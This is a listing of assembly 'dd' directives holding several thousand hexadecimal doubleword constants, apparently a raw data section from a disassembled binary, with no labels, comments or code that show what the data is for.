		dd 48FFAEDAh, 0B689EA90h, 22F2E20Ch, 3E0B410h, 594ACB7Dh
		dd 28403843h, 7064EB08h, 0E8B2E540h, 0A3CA1C8Eh, 9260828Ch
		dd 0F8517F95h, 0E689BD09h, 196A2740h, 163808C8h, 0D61B9C98h
		dd 0C020B6B4h, 0F995EDh, 0B93188EBh, 96A074D3h,	0BD818204h
		dd 34A80A73h, 0F05C36A1h, 6B7447C0h, 0E9C1219h,	4420E280h
		dd 5989EADAh, 0ED12C814h, 3D893CBh, 530C2050h, 0FD995240h
		dd 434FF869h, 0DD8C129Ch, 0F9F06805h, 4C10CF2h,	232EAE98h
		dd 72E04388h, 0ECB9B716h, 3229C403h, 0E4CDC19Ch, 0DE4C4988h
		dd 0BEE0B50Fh, 599E8E09h, 1572020Ch, 0F059832Bh, 5AA97501h
		dd 1080C170h, 5FDFB584h, 0B9015282h, 952C2FC2h,	0F7F06790h
		dd 24970334h, 0DA6C5B2Dh, 1DBE3004h, 78D0E0A2h,	13D58377h
		dd 20DDB5A8h, 0C2F8B4F4h, 0B0F74903h, 0D096E223h, 0F89DF15Bh
		dd 70E49C16h, 110B72EEh, 1676BD3h, 37192224h, 8487208Fh
		dd 74A9642Fh, 0EA2E7C11h, 44126881h, 0FE106465h, 77C0EC13h
		dd 824AC832h, 523B09BAh, 0D0FD49ACh, 6900EC22h,	1CC1951Bh
		dd 246B9D7Fh, 0E004CA75h, 6F5BFDE5h, 81104660h,	1852CAB6h
		dd 78772213h, 5B12C53Ch, 80B45362h, 0CC0928DEh,	326BEEE6h
		dd 4411DB1Dh, 0D02080F3h, 89A1E802h, 7047823Dh,	2CE64CB4h
		dd 0F2517385h, 5A604874h, 0B0D55C52h, 42817401h, 2C422EC3h
		dd 6B4CC090h, 2C068471h, 91BEEE57h, 24BD4C60h, 0AEEC1208h
		dd 0CEE26C00h, 549E3EA0h, 94EF806Ah, 1C1554F0h,	7C8F5FAh
		dd 0E8DF9C7Fh, 0B08AD613h, 2634B42Dh, 1CF3FD5h,	4A12FCB9h
		dd 76F8635Bh, 15D6DB09h, 818E57Ah, 7C01F9E1h, 0B69DED89h
		dd 0CCF1FAh, 0FC21B6Fh,	7800B022h, 1ACC286Ah, 6958C19h
		dd 7C1DBC49h, 83053192h, 426E4112h, 942CDCC9h, 0DCAE50Fh
		dd 0C61183A0h, 9213799Eh, 983399BEh, 0D90D8A12h, 0F32F9D34h
		dd 20118911h, 0FD003A9Fh, 438E30BBh, 6C92E123h,	0A485883Ah
		dd 0F42E2963h, 8BAD43h,	2F3C50F0h, 0B50449C4h, 534EDB1Ch
		dd 0DA5B1302h, 2AB880EDh, 7C2AA27h, 7416DE18h, 19A81E1Dh
		dd 0E2BB7E01h, 6831F2BCh, 0A7DA71F4h, 0F4424F4h, 9860FB28h
		dd 5BA5DCC2h, 60C4D0E0h, 0C8BCB582h, 40295A85h,	0D061B9F4h
		dd 0B62E1DC2h, 820084EDh, 2F69F5E8h, 3FC8ED18h,	0A49052Dh
		dd 85D6D8B6h, 8AC0E0A8h, 0B51F009Ah, 890AD5ECh,	0D496BC6Dh
		dd 9FD68C42h, 87808072h, 478DC2h, 8F306AC1h, 2EB7BFE9h
		dd 94D95705h, 0E48535B8h, 745808FCh, 40C75444h,	23046AC4h
		dd 0C31C123Bh, 0C8D4A8F1h, 9128C0C5h, 0AA0DD144h, 152E12E8h
		dd 0EA965060h, 9DC05067h, 7FFD866Ah, 0D3283A76h, 354C2081h
		dd 32A5B5A6h, 0F08E0068h, 2FBED57Bh, 46C4345Bh,	0D6488C81h
		dd 0B0EB6720h, 829F4E6Ch, 876BA48h, 0B4E5F24Eh,	0C48FD06Dh
		dd 0E0904131h, 0E9CFB36Dh, 7012F07Dh, 4564E1C2h, 0D6C4B0CCh
		dd 16264Eh, 0BB4894C1h,	55EC067h, 88063884h, 772123Ch
		dd 5C9098D3h, 0EB3EAF6Eh, 0F216A5DCh, 5B440BA0h, 78CE5AEAh
		dd 0B8884726h, 189CAD6Eh, 0BE09A478h, 40B2CABDh, 51C0B431h
		dd 492ECFCh, 9831CCE8h,	3BB9BE28h, 1A3D2C21h, 0A5297100h
		dd 0D3086961h, 8853AAE0h, 2B21002Dh, 550B613h, 72295586h
		dd 0E280A0C7h, 9808F164h, 3932205Ah, 4F1BD200h,	6AB92BC3h
		dd 0B89248B4h, 0B135170Bh, 34224C02h, 21626474h, 0C2785385h
		dd 0DA2007BAh, 1640CC90h, 8171B26h, 70320534h, 0A854562Eh
		dd 18E46051h, 72E86DA7h, 98E15514h, 88444E88h, 84D09BD7h
		dd 957A342Eh, 0E0E66024h, 394B5A2Ch, 2E12080h, 6B6C0038h
		dd 0B4224424h, 8A007DD5h, 0EC4AFDA1h, 91BEC112h, 0B90C079Ch
		dd 21F270EDh, 0D016B38h, 3DD574C4h, 78970620h, 725C49FCh
		dd 87ED8C82h, 0B898FCC2h, 0F182E7F1h, 168CAA78h, 0CC44F7B2h
		dd 4892573Ch, 82915519h, 109CA5E1h, 28C76267h, 31453E2Eh
		dd 305E9021h, 0B442D07Dh, 0D849C025h, 3C493B96h, 0E4F42436h
		dd 384488B8h, 84B17834h, 40A9D625h, 0B991F41Ch,	14C0A5E8h
		dd 3480A0A1h, 5D5B10EAh, 0C16D2538h, 3C7DFD90h,	2200D04Dh
		dd 0CBE2B47Fh, 28B0FB2Eh, 5B7F3375h, 65C19700h,	0C25504E1h
		dd 20E0D493h, 7206DC20h, 0B9FFD313h, 2A121788h,	0B098518Eh
		dd 0A4F9D982h, 0ED19BC79h, 0C408EB20h, 442134Fh, 0E837BB1Ch
		dd 6B4E6Ch, 0FBCC9B19h,	0D5B94F98h, 0F11C5CA1h,	708064F3h
		dd 0DDE58402h, 784A91E8h, 521C1BDCh, 6AF8492Eh,	200B341Bh
		dd 2B0D183h, 48D4C87Bh,	2ECE4h,	0C37809DDh, 15F1732Ch
		dd 0CF34EA09h, 1280E1E5h, 4F4A4834h, 0BD000551h, 0BCD0D88Ch
		dd 32986B00h, 55FED3B5h, 0C2F54B13h, 4CDE7810h,	86002E9Fh
		dd 0EAD7443Bh, 40D3751Ah, 2B74C4DFh, 7874A824h,	6C826900h
		dd 506D331Ch, 6859484h,	429F4999h, 8826203h, 0BD348482h
		dd 0E891BA05h, 1C0429A8h, 0D9DC4DFCh, 9C9C01C0h, 12943215h
		dd 0C8E039E8h, 0B4D340BCh, 0CF9BCA01h, 115B25FCh, 0EA22CC32h
		dd 7C8BDC80h, 0CCB0A601h, 2E340FF2h, 2AB4452Ah,	1FE48028h
		dd 4107A8B7h, 9CEBB4F1h, 4292DD40h, 8B8D01Bh, 8CBFE714h
		dd 8153AEC5h, 1018F0h, 0E83DA7Ah, 74F780D9h, 205499D2h
		dd 0B1071048h, 83EF7DF6h, 1371AEF0h, 84BF5543h,	0EC260861h
		dd 13703806h, 0E09898E1h, 0E49DD62Ah, 4CABF4ABh, 0E8F407E5h
		dd 0F8466412h, 6EAE1280h, 2BE04000h, 3443CA28h,	85380F5Bh
		dd 1CA0DC14h, 70C1FB77h, 5CCE5B50h, 1404CC34h, 0F4DBF9D6h
		dd 1D1C1102h, 0D4404B92h, 8275B4Fh, 6A0498E2h, 0A4F0961Ah
		dd 0FCAB4204h, 0BF87EF00h, 136C0353h, 5796981Eh, 46991225h
		dd 34E305Ch, 47AE97C0h,	23D5131Eh, 19B8E425h, 50253C1Ch
		dd 89B82DAAh, 0BCC8917Dh, 0A84C482Eh, 46716824h, 0C8B2B0ADh
		dd 3A08C07Bh, 613800C7h
		dd 512B0EE1h, 4891A201h, 88276A32h, 3D4CCh, 128B0AAAh
		dd 0E8E1437Bh, 0DE46602h, 44063485h, 77C00130h,	0A45EC8FFh
		dd 2A41F5D6h, 8C53101Fh, 784B908Dh, 0A981C09h, 0D4A8C011h
		dd 1225F856h, 0B26C61A3h, 1C1DE461h, 3979C0DCh,	314A4392h
		dd 87D62498h, 0EBDFBD10h, 0BADCBEB0h, 9D3AFC01h, 4B0A880h
		dd 0F72E1CA1h, 0B8880FBh, 1324A4DFh, 427C23EFh,	7D2C9E04h
		dd 70ACBEEEh, 8BBDF481h, 0C8C6F22Eh, 9E091420h,	348266C4h
		dd 440ED62Dh, 5D9D72C0h, 9A13D8D8h, 91584275h, 8C682619h
		dd 7382FD76h, 8C7B80D4h, 3F0E34DAh, 2D21218h, 0EA119871h
		dd 0BCD62FA5h, 0C3953805h, 200049B2h, 84E59A6Bh, 345B739Bh
		dd 0F9B05465h, 0B80992A0h, 0B3AC0BB8h, 8B02C074h, 0C1893C55h
		dd 0B089145Ch, 70267856h, 0FC00C410h, 26E136Ah,	0A2F8A306h
		dd 8A18F366h, 40908149h, 48229C25h, 3AAE1D07h, 0E1A34329h
		dd 0CE3A2871h, 0B5430B70h, 4A604EC5h, 96F8C1F8h, 29842247h
		dd 7A0264E7h, 0E6B50EBBh, 16C225FCh, 48944CE4h,	122CCAA0h
		dd 0E49A3061h, 5A30A218h, 2DCF827h, 0CB7C116Ah,	6CE0AEBCh
		dd 0A204CCD7h, 0B39912EFh, 5B488B00h, 30C1833Eh, 8FC0A082h
		dd 455E420h, 311CB68Eh,	832E03A1h, 0F44E0D5h, 66E32412h
		dd 0B7D8E3F8h, 92492900h, 6AD7DBEFh, 1F8F737Fh,	4AB30CFh
		dd 0D08A9E13h, 82AFDCB0h, 0C2027672h, 0A18F0514h, 0CEB8C1D9h
		dd 0D498AC04h, 145A24DBh, 0F6092B81h, 0A870EE87h, 0D056591Ch
		dd 894BAE01h, 793ED3B3h, 0C7B684BCh, 0FEF6001Fh, 0BF83073Ch
		dd 74C9A94Eh, 2ED6B020h, 4CE0E08Fh, 54BEEE18h, 98F4E16Bh
		dd 564E107Dh, 794037D0h, 0DF961051h, 0D84A60CAh, 7340512Ch
		dd 1CB917EAh, 4444F069h, 0BB0991E6h, 0D8BF2E2Fh, 9C1213F4h
		dd 0F7908051h, 6974BEEAh, 87D8C601h, 613579Eh, 694C5EE6h
		dd 32F44FBh, 6663F74h, 9212ED70h, 3500306Bh, 0D682EBF4h
		dd 62E45BC5h, 69BFA81Bh, 9AD844h, 0E2951D27h, 65B87678h
		dd 4008978Fh, 415B0186h, 8E402060h, 2C5AAB47h, 803CCDA8h
		dd 0BC44E7C7h, 80B8CCBDh, 0D4349097h, 0BB12193Eh, 3CE29045h
		dd 789C7BA8h, 0F074C62Dh, 2E8D2538h, 1C30208Bh,	434D7691h
		dd 0D527103Ch, 0F0842D18h, 0D106ECFDh, 0D377560Dh, 0D75A2738h
		dd 236980E0h, 0F75B0A2Ch, 2803982Ah, 0F3ECEF74h, 0BAD5E177h
		dd 569C5C7Ch, 31490746h, 0CADE0712h, 798361B8h,	0B83870ECh
		dd 8F9ACB00h, 4ED58EEh,	52E398DFh, 12045C97h, 0F94265E4h
		dd 21F180B8h, 1EB29323h, 4092FDF6h, 4304D0C7h, 7A008E2Bh
		dd 29C6D587h, 0F40920DAh, 8190007Fh, 196A15F1h,	10000C8Bh
		dd 0F057EE33h, 55D2B4h,	1BFF09A5h, 88478913h, 692CC67Bh
		dd 1123035h, 5BFF2842h,	0B14F670h, 0A85B9084h, 1CAC2C9Dh
		dd 2FB9002Ch, 0E3D88079h, 1F43F6D1h, 8904509Bh,	600760C9h
		dd 5240FFEFh, 0CAFA5B24h, 2EED58C0h, 0BC5996h, 2FC2C770h
		dd 778ED6A7h, 0F21E4890h, 6F40785Eh, 0A3198690h, 0D32009D9h
		dd 3C60FBF6h, 2D62FE12h, 0F69102B0h, 1D5F9000h,	0AB475B2Bh
		dd 0D17206Ah, 41988380h, 121C0C90h, 0BA3844C9h,	0E20989Ah
		dd 0CC740082h, 86736A3Dh, 0C509C6E6h, 0E21AAED6h, 0F91C4204h
		dd 9BA415Ch, 9C8C4531h,	64B8C06Ch, 1401C3F6h, 0CA1AACD9h
		dd 875F41Ch, 0A9F4482Bh, 4840942Dh, 12C2A838h, 68D98FB3h
		dd 59FF9101h, 7C20994Dh, 0A1B2075Bh, 0E9BBD1DCh, 9C48A98Ch
		dd 0FD200D51h, 3DC42074h, 16DA1240h, 0B06CD321h, 0F556BC8Ch
		dd 9D33006Ch, 0FE8E582Dh, 1CD89F7Eh, 0A4F0270h,	980078ECh
		dd 2B065E65h, 0E21F9A9Dh, 4D01B46Ah, 0A703DF96h, 6D851447h
		dd 85289BC1h, 0FD8E108Ah, 82E1F28h, 0D900828Ch,	698678F3h
		dd 0A1020098h, 471B42A0h, 0A300DB8Eh, 387AAB95h, 3B75513Ch
		dd 32008271h, 68A93490h, 50E6B227h, 0D012C539h,	610C6CFFh
		dd 687457DAh, 4B3C1029h, 891060BDh, 3A59E956h, 3A017412h
		dd 58F79F6Eh, 3C98BC48h, 41BE0076h, 39570332h, 30537AC0h
		dd 0B2409463h, 72003CA6h, 1ECE1F4Ah, 0C0C064DAh, 2BBFF858h
		dd 9F2A7E32h, 7618800Bh, 85804E2h, 0A08CF846h, 0A01B0680h
		dd 0C0F2FB9Ch, 0FC8E5928h, 4A028BE4h, 93B3532Ah, 929C8275h
		dd 0DAD9008Fh, 1809EF8h, 77FA78C8h, 0FFCCA9EDh,	7EC1D009h
		dd 0B219F709h, 0AD83D589h, 2FE090C5h, 0E8050108h, 109F4EB4h
		dd 915ACC0Ch, 661A00A4h, 8594BA82h, 98A03E5Dh, 4800F533h
		dd 0DA2BED43h, 685AF6h,	0D890B90Eh, 1A16FE8Dh, 52832504h
		dd 88493A5h, 0B29AB460h, 51767A55h, 0BCDC8016h,	9D132906h
		dd 95980458h, 424925Dh,	563A1C40h, 6F429F01h, 9AFE8F72h
		dd 0A63306C4h, 7A76181Ch, 0C43158ECh, 38F1B38h,	0EEDE2144h
		dd 5B74E0DDh, 5C63002Bh, 8F1E9531h, 0A41844A8h,	0DE40BE7Ah
		dd 3CA3143Ah, 0DA0A584Eh, 3A81274h, 0FE2855C7h,	86B8A499h
		dd 23EFF721h, 0B2DA1970h, 84CC28BFh, 763B8109h,	103F7AC3h
		dd 56E720h, 0F995FC5Ah,	0C328AD9Bh, 0E01CA328h,	3AE75002h
		dd 80583C99h, 0BF914040h, 0DEFCA898h, 110583DDh, 20F99754h
		dd 200CA032h, 6D5DBD3Fh, 51480B7Ch, 0A2DA0140h,	0FDB40FDDh
		dd 30839847h, 341000DEh, 557B50F5h, 0C7008E4Ch,	22BF5E9Ch
		dd 71D4D589h, 7D3C00ACh, 0F7724A9Eh, 5506AFBAh,	1B78DADEh
		dd 3E2600D0h, 6FFABD73h, 1A004C2Bh, 4E65D511h, 1DA4985Ah
		dd 97D089h, 0EEE9AA03h,	9502C6ADh, 7ABC21B3h, 4C3C4208h
		dd 0A4341F00h, 9401A0F7h, 96505D8Dh, 343303DEh,	12408C26h
		dd 9A000202h, 0B8009F94h, 0C9CF14Ch, 64CC76C0h,	0BC903C50h
		dd 83AE330h, 0F4284DD9h, 29B0A449h, 1D89832h, 259D3B01h
		dd 0CBC42004h, 77115407h, 0D2237D76h, 4E30008Dh, 97098AC7h
		dd 1300F564h, 3E9E6BBBh, 1BC27A7h, 0FCFD575Eh, 8A763C0Ah
		dd 30BE3278h, 7CA0A303h, 0F0C06082h, 0EBDA0504h, 7EC4E052h
		dd 33622600h, 3C2CD00Eh, 7A0A094Ch, 0D021905Eh,	80F84176h
		dd 79B832D8h, 0F5110B13h, 0E231B70h, 4F766D87h,	73E20240h
		dd 0FBE24964h, 32F0AE00h, 0BFC6B5BDh, 0E8FC7E51h, 343EE02h
		dd 0CC75A492h, 11F8CB42h, 9C027A78h, 649B4A54h,	0B0E0627Fh
		dd 19432E0h, 4C5221A6h,	0E5575F04h, 0FFC4403Ch,	4930BE6Fh
		dd 4E3BB825h, 14E678ECh, 80CA8A9Bh, 0E00D2215h,	0EF90C07Ch
		dd 3C063FD2h, 3B387472h, 68084CD9h, 320A0840h, 54131495h
		dd 0BA1F0C60h, 18E5E812h, 58D2FCA4h, 0A307ABE2h, 0B6EB2021h
		dd 685F741h, 603196E1h,	0BBA1993h, 3B861508h, 0F27BE06Eh
		dd 181CDA14h, 902A30D4h, 641F3079h, 89BC8017h, 0C802F0E8h
		dd 0B2EAB704h, 0D0C556A8h, 77005C27h, 302C552Bh, 0D9134A4h
		dd 0C0309BA9h, 2E58402Ah, 9420F9AAh, 3C49254h, 76829BF2h
		dd 4813111Eh, 0FC0A2E4Bh, 4072CFBh, 81C00AC1h, 77BD2B2Fh
		dd 81EC9027h, 0CC4873B4h, 0BCE0993Ah, 208C9077h, 3D5119AEh
		dd 8C87C1E0h, 400420A0h, 80D2549Ah, 0D9F63Ch, 4734B02Dh
		dd 3D21FD03h, 75CC7A06h, 98619284h, 507C54h, 32DFB74Ah
		dd 0CCC915B9h, 964BCF01h, 0E6FCFBA9h, 0E85C6861h, 93C22882h
		dd 764C09C0h, 0CC302D97h, 0CB00CC4Fh, 0B23AB790h, 0C43264h
		dd 0F92A7B6Dh, 0B5DA5F6Ch, 1F484C63h, 97B91506h, 4C53C8F6h
		dd 533DDA0Ch, 7524AD71h, 0C0AB94ABh, 1850510Ah,	68BB203h
		dd 7D5010C3h, 14024C86h
		dd 3B94F55Bh, 0F7BD8540h, 0D55C96h, 78B90880h, 8EC90088h
		dd 0DD4B81A3h, 4CF6EEEFh, 829C3100h, 959BC197h,	550CB96h
		dd 0D87B84A3h, 306D1026h, 0A5212h, 941ED870h, 0A0405D12h
		dd 38F92854h, 26C9329Bh, 0E480B930h, 914A42Bh, 0E0C1C98h
		dd 0A16FF5AFh, 0FF8E2DBFh, 548FA876h, 0A8628C8Fh, 749C983Ch
		dd 914BAA4h, 0FE03E096h, 50E8A090h, 0DD441A01h,	2305828Dh
		dd 4840B461h, 10522F48h, 17139976h, 5C011632h, 0C44D1E91h
		dd 0ACE54434h, 344F8ACh, 11910672h, 300B259Ah, 90BE8358h
		dd 35CE7Ch, 0EADE8970h,	240130E7h, 687F0324h, 0A3345A00h
		dd 60A89B4Bh, 0C0F550D5h, 4D00F380h, 9C25CA3Eh,	0A4FC91E0h
		dd 4EBF0ACCh, 1D80625Ch, 12840044h, 0D83C61DDh,	2BB99100h
		dd 0F69BD126h, 3C9A99h,	7DDA643Dh, 487F59F0h, 97FAB8C0h
		dd 0A882F82Bh, 0A602A0h, 0BBC1958Eh, 879BB836h,	60402565h
		dd 764D4490h, 8C2850E5h, 0BD8DE04h, 64A93303h, 2B5D7683h
		dd 5BE3500Bh, 5EBC27FBh, 0C1830928h, 0F3917C80h, 470BAFD5h
		dd 18294BA4h, 84308h, 8EDC4FC1h, 0DDA457F8h, 48C06C5Dh
		dd 85C4497Ch, 0C020C14Ch, 30DA02BBh, 67D99BC8h,	8820592Bh
		dd 459A2637h, 0D1F287BCh, 3EA0DE92h, 897B9BD9h,	7C1E18D7h
		dd 4B840863h, 27F8DA05h, 2F346CD0h, 0A3820CC6h,	9588AB90h
		dd 0FC03D216h, 4F2CC32h, 9CED0413h, 0A3F6E601h,	0A4233Dh
		dd 21F7E2DEh, 545FDADFh, 2C1C072h, 0CF4CD9B6h, 0E4E8E175h
		dd 3C02C3B2h, 0D65B1E4Dh, 5028C0F8h, 4A0380A5h,	0EC8610C4h
		dd 90FAB88Ch, 0C5500084h, 1DCC19CFh, 0DA156504h, 6F9096E6h
		dd 82C00620h, 60FE4A79h, 0BDA0573Ch, 0B28434B1h, 60B64E6Dh
		dd 983EDC50h, 587D0648h, 0E14129F7h, 0A58C0CA0h, 3090F0B0h
		dd 324A1903h, 0C40677F9h, 0F2B488h, 0ACA88291h,	0A48E12B2h
		dd 0E301C0F6h, 22AA028Fh, 95FCFA27h, 24217EA9h,	0F0454A7h
		dd 0B8874148h, 0C849D993h, 1F023E01h, 69CD429Bh, 9AF058F8h
		dd 102F6498h, 80309553h, 41FBFD4h, 0F133D0A0h, 0B8B39007h
		dd 0C04060B9h, 0C24B4CA4h, 3AFCF768h, 0BF4768A2h, 0BE599C64h
		dd 0A0614A30h, 88205670h, 594E407Ch, 0B89E272Ah, 4B0B8C98h
		dd 318DA1FBh, 9470A96Ch, 59DA804Eh, 25C40h, 0A3772DAEh
		dd 9BCA3635h, 0C48BAA24h, 0A4248149h, 0A8803816h, 631E0C50h
		dd 0B10B32DDh, 913647h,	4825800Ch, 0C0C17C72h, 4CE7F2DEh
		dd 4D2508A4h, 42C2982h,	0E0885374h, 0D2A410BEh,	32E40025h
		dd 948B01C0h, 1F3EB91h,	0A1367390h, 20E759Bh, 54A4846Bh
		dd 19DA4CC1h, 25C013DFh, 88F40B04h, 0C4FCD824h,	99898D8h
		dd 0CE24E0B2h, 8E0B942Ah, 87C40962h, 24A8B390h,	4278266Fh
		dd 106285Ah, 4E3E3F39h,	814E8D9h, 4710BC5Eh, 0F3F40074h
		dd 52907C6Bh, 2880C037h, 989F7656h, 3242D4A0h, 9464F348h
		dd 865310C0h, 0F18F0850h, 109703F5h, 6630722Eh,	7D230C60h
		dd 8FC971Eh, 4E3F42Ch, 4E50A2A6h, 0A4A4A094h, 604959EAh
		dd 425D613h, 1070B9A4h,	61EB1A2Ch, 3F45011h, 366844A6h
		dd 2080037Eh, 0D102B4F2h, 0A427A895h, 3B8848F4h, 0ACFA4CD6h
		dd 0D8A6DA09h, 2A1AB480h, 431F36DDh, 54266BA4h,	0B0208CACh
		dd 10EFC327h, 49DAE8E8h, 21354FCh, 750430C2h, 0E491575Eh
		dd 0CF9D1B00h, 3FB10A9h, 0DA0BA1C2h, 38262C06h,	5B00288Fh
		dd 3153B925h, 97711E8Dh, 5C6302D7h, 0F0726E08h,	61743B1Fh
		dd 4EF1CBh, 8E760220h, 4DB0A0A5h, 0FBA41A2Ah, 0CC88098h
		dd 870376FCh, 4A75C352h, 66B81D06h, 696EC137h, 96A7359Bh
		dd 0DC00F7B0h, 0DE4E7A88h, 0A6A4147Fh, 96319034h, 0DC5AFAC8h
		dd 7613A038h, 0EC451C6Bh, 9800D6AAh, 59676CD7h,	5872B74Fh
		dd 89C02CA3h, 2AF4C0A0h, 0D493C0E7h, 8D767B1Fh,	52E540B0h
		dd 28F848D3h, 0E294EF00h, 86E6BE0h, 0C00C7E49h,	42E93955h
		dd 377A00D3h, 0B5420F9h, 0C32E5AC1h, 0AE3C9832h, 9A617898h
		dd 0F074FFBCh, 3225844Eh, 13D491C3h, 59DC5200h,	0C231B604h
		dd 0B4858897h, 1C324C2Ch, 6CDA6E04h, 76C98000h,	6805E8FEh
		dd 4F4BBE26h, 345DF03Ch, 79BF0078h, 0A4546438h,	0A40154E6h
		dd 0F85E0065h, 75664323h, 6B09A68Eh, 0E39C2E60h, 632AC07Ch
		dd 9A9916CBh, 167C5EE1h, 0DC500A4Eh, 90F593D4h,	80C876D0h
		dd 71F4E8A8h, 9B4A3D04h, 56098961h, 4EA43C21h, 5E3080B4h
		dd 0C1F22DA6h, 3A991231h, 116128Fh, 0B8527A74h,	0BABFF0E3h
		dd 2CE080Ch, 1E9828B0h,	3BA30EA1h, 524A7881h, 778D93ABh
		dd 85613A24h, 20F1B98Ah, 201940A0h, 3500933h, 0DC00FAB4h
		dd 78BEE9DEh, 76828Ah, 1FF62C57h, 0B6796068h, 64D79D2Ch
		dd 0B9087000h, 3EDBE878h, 7CDD9EDAh, 9075CD04h,	82BC9459h
		dd 0C608C58h, 6E7176BFh, 0DF7018CEh, 0F01E3E13h, 0B28820AEh
		dd 424F0015h, 0EF491F48h, 62C9CF4h, 3240A433h, 5E125BDh
		dd 68A40E3Fh, 3ED80E65h, 20A89B03h, 4B78C90Bh, 89898C8h
		dd 1849B53h, 22AFC0Eh, 0F72C24C3h, 0B31ADC0Bh, 2ED04613h
		dd 897CCAA4h, 0E009A78Bh, 7196D8E0h, 70FAD4A9h,	0CD30A408h
		dd 27D9897Ah, 637901F4h, 0F77685E2h, 4CF098E5h,	1740280h
		dd 4ED78624h, 651D889Bh, 0C1BDFDE0h, 0DE2C6097h, 0AC261240h
		dd 6163F8DCh, 0A4281815h, 143C2819h, 48A408E9h,	0C80522Bh
		dd 5818E39Ah, 0BC945055h, 0DB960B51h, 9C44C103h, 2D0DF820h
		dd 0B80DFD49h, 0FF19F048h, 0F4005882h, 94209A84h, 45329094h
		dd 3D07D5ACh, 490A1454h, 0BF2E14h, 62E0Bh, 6C04338Ch, 0BEC30031h
		dd 3A80B00Eh, 0B9E8BC4Ch, 3430D9F0h, 0C901183Bh, 752603F8h
		dd 2CB0757h, 0CC9FA1C0h, 0A38D6201h, 5EB9243Bh,	0C1EC7470h
		dd 40690248h, 0C70560C9h, 0DD426101h, 9A2511E9h, 74FBF8F3h
		dd 71B30044h, 4B28C907h, 1B131245h, 22000936h, 6D92A0CCh
		dd 495F3003h, 3F48E870h, 0D3075C12h, 881EA400h,	988D6819h
		dd 896A0347h, 78A33027h, 8B1EC0CEh, 2E097DFCh, 40688032h
		dd 1E4637E0h, 499A4E34h, 0FC03B377h, 0DCC14849h, 0FB109373h
		dd 0C2512900h, 78953FDDh, 215924BEh, 0C0531E4Ch, 99F108A2h
		dd 6D7ACEBDh, 0B0AA911Eh, 0A020B80Ah, 0FEAC7481h, 0B1C4390Ah
		dd 0FA350354h, 76D4A329h, 0D175880Ah, 0F304B0A9h, 0F900BA7Dh
		dd 9731EEB7h, 0A4C97102h, 6270BB04h, 57080724h,	55D6CE0h
		dd 539C1D2Ah, 6D61008Eh, 5C8C3B9Eh, 8955630h, 0A08745A3h
		dd 1872BD80h, 9899869Ah, 7B00C0BEh, 88296C8Ah, 170616h
		dd 67BFA9ABh, 2D8661F3h, 510EFF7Eh, 8680334Fh, 0DE46D9E5h
		dd 723B49A0h, 8BE80C18h, 1C22C681h, 2102A20Ch, 4F0CDCE0h
		dd 18094E9Ah, 0F938C03Ch, 753B2A6Eh, 0C1079E07h, 528086F8h
		dd 392C802h, 8D439946h,	604082FAh, 8940F0A8h, 2C0F144Bh
		dd 0D310C45Dh, 9A570508h, 0D80068CBh, 7D2F493Bh, 481200DAh
		dd 0D9E0A9FAh, 0ACA93371h, 81831DFh, 0F33031B4h, 0DB9580Bh
		dd 4F2A28C5h, 3E10130h,	0FD759E7Dh, 618881A2h, 9C0A05BFh
		dd 0C430FEF5h, 5AA3188Fh, 0FB8DE862h, 0C1012CA0h, 2D600945h
		dd 0C26B285Dh, 2A761ED4h, 159E0007h, 0DBDCB2FEh, 54CA413Ch
		dd 0E4484A9Ch, 44FC0F70h, 0DBF6393h, 81A4C2B6h,	0A0927508h
		dd 4D39908Fh, 30D28D2Fh, 4C2A661Ch, 8842651h, 965231D0h
		dd 320970CCh, 703249Ch,	94CE011Ch, 19520414h, 201DEEBh
		dd 33CB9C22h
		dd 0C8480004h, 0D98F6B66h, 2C00FD06h, 20A30952h, 0BA18C840h
		dd 9A495605h, 0CC0A042Ah, 24078001h, 7C40DA63h,	0E91D754Ah
		dd 0F088B8A2h, 10386056h, 57B28F31h, 309E61Fh, 0A1C052DDh
		dd 5806DB8Ch, 2FA0Bh, 779424B1h, 20B7357Bh, 0E45B6324h
		dd 6281E73Ah, 0DA85D901h, 0B024B3E0h, 99BC0CE3h, 2120A798h
		dd 0EA722AF0h, 4FD9E41Fh, 0A800DCEAh, 2FD06728h, 0C554BB75h
		dd 5F44C90h, 5BD31DCh, 414E70h,	0A397B17Ch, 0E8927F5Fh
		dd 14AFA920h, 0F4579891h, 6D609A09h, 0BD5E30A0h, 0A0797E1h
		dd 1A32EBAh, 40E6385Dh,	49DD5614h, 93183C07h, 3AF6803Fh
		dd 8F117A01h, 0B3E3CC81h, 1775FC40h, 0F45A8002h, 5812A090h
		dd 4542D14h, 845848B0h,	390C4751h, 18908B58h, 97A6A312h
		dd 5C845041h, 8602126Bh, 0FEEB1F10h, 78F530A3h,	1A1744A0h
		dd 10FE0A2Ch, 4BCB1500h, 60DEA37Ch, 2FBD2055h, 7412C259h
		dd 82085F4h, 0B01CF7FDh, 7531A4Ch, 0C4438075h, 34F6DC88h
		dd 51A7720Ch, 14DD882h,	7739AAC6h, 0E158B142h, 556C3088h
		dd 24519A14h, 53F03BCh,	0A36AA8AAh, 608CE60h, 0CCA3BB38h
		dd 3E04884Ah, 13B89AA2h, 17005C95h, 0F1E6171Eh,	44DF298h
		dd 76FB79A3h, 89D481BCh, 959860C7h, 3B20B60Fh, 21568E6Ch
		dd 5AEBD912h, 0AA58A840h, 9BA8E8E3h, 0D0391B7Ch, 0A18100AFh
		dd 191D5AE4h, 0FA19C5DAh, 0DCE5D9B8h, 0A1E34021h, 1033FE8Ch
		dd 813EA421h, 0A9E0DB3h, 0C820F056h, 0E0FA5054h, 3B9F1439h
		dd 3F093848h, 0FCAABEBFh, 0D580414h, 6590D159h,	54302062h
		dd 2F047512h, 8B1C1C40h, 3B737Ch, 7252414Fh, 9A99CEACh
		dd 0C00D5701h, 0BFE9A32Bh, 4BDA6092h, 1C02932Ch, 3C814A3Bh
		dd 25365358h, 2284452Ch, 0DB023F88h, 816C81F7h,	0F830E2D8h
		dd 40A40A2h, 96981A4Ch,	832C64h, 7919F4E6h, 0A451A4EFh
		dd 0DB0890CAh, 218282Fh, 0BD5B3967h, 5C624E59h,	0CC661A62h
		dd 0B08D2830h, 1929F30h, 6ACEAA8Eh, 0C99A567Bh,	6C3398h
		dd 7786F72Dh, 3075942Bh, 0B970F31Ah, 4D045796h,	6FB083A2h
		dd 81796087h, 50630B9Eh, 0F82D60h, 857A5909h, 3E9AA035h
		dd 0E658FC60h, 0E4C1008h, 9DD90C7Bh, 0A331D858h, 0C029ED30h
		dd 525C9495h, 8D00FCF5h, 0B260E4F1h, 0D2148250h, 0A08D98Ch
		dd 0E87F039Ah, 7D1D6700h, 4D89EEh, 394278D8h, 0DE47B045h
